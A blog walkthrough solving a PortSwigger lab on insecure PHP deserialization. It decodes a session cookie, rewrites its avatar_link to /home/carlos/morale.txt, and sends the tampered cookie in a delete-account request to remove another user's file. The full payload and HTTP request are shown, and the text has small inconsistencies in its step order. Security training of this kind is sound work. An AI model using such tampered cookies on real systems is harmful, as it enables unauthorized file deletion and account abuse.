Pasindu's Blog

Using application functionality to exploit insecure deserialization

2 min read

PortSwigger

Lab Description

This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos’s home directory.

  • Your credentials: wiener:peter
  • Backup account: gregg:rosebud

Step 1: Understanding the Vulnerability

The insecure deserialization flaw:

  • The application uses PHP serialization for session cookies
  • The serialized object contains an avatar_link attribute with a file path
  • When you delete your account, the application deletes the file at avatar_link
  • No validation ensures the file path belongs to the user

The attack:

  1. Decode the session cookie to view the serialized object
  2. Modify the avatar_link to point to /home/carlos/morale.txt
  3. Update the length indicator to match the new path
  4. Send a delete account request
  5. The application deletes Carlos’s file instead of your avatar

Step 2: Reconnaissance

Step 2.1: Log In

  1. Log in with wiener:peter
  2. Go to My account page

Capture a request containing the session cookie and decode it.

The decoded serialized object is:

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"qgwtsxp20p3yavts0ok145mwurogdte6";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Structure breakdown:

PartMeaning
O:4:"User"Object of class User with 4-character name
:3:3 properties
s:8:"username"String property, 8 characters
s:6:"wiener"String value, 6 characters
s:12:"access_token"String property, 12 characters
s:32:"..."String value, 32 characters
s:11:"avatar_link"String property, 11 characters
s:23:"/home/carlos/morale.txt"String value, 23 characters

Step 3: Modifying the Serialized Object

Step 3.1: Target File

We want to delete: /home/carlos/morale.txt

Length of the string: 23 characters

Original:

s:11:"avatar_link";s:19:"users/wiener/avatar"

Modified:

s:11:"avatar_link";s:23:"/home/carlos/morale.txt"

Changes made:

  • Updated length from 19 to 23
  • Changed path from users/wiener/avatar to /home/carlos/morale.txt

Step 3.3: Apply Changes in Burp

  1. In Burp Repeater, go to the Inspector panel
  2. Find the session cookie
  3. Edit the serialized data
  4. Click “Apply changes” - Burp automatically re-encodes and updates the request

The encoded cookie became:

Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJxZ3d0c3hwMjBwM3lhdnRzMG9rMTQ1bXdlcm9nZHRlNiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9

Step 4: Sending the Delete Request

Step 4.1: Change the Request Method

Change the request line from GET /my-account?id=wiener to POST /my-account/delete:

POST /my-account/delete HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJxZ3d0c3hwMjBwM3lhdnRzMG9rMTQ1bXdlcm9nZHRlNiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9

Step 4.2: Send the Request

Click Send

The response shows 302 Found redirect, indicating successful deletion.

Step 5: Lab Solved

Success message displayed:

Graph View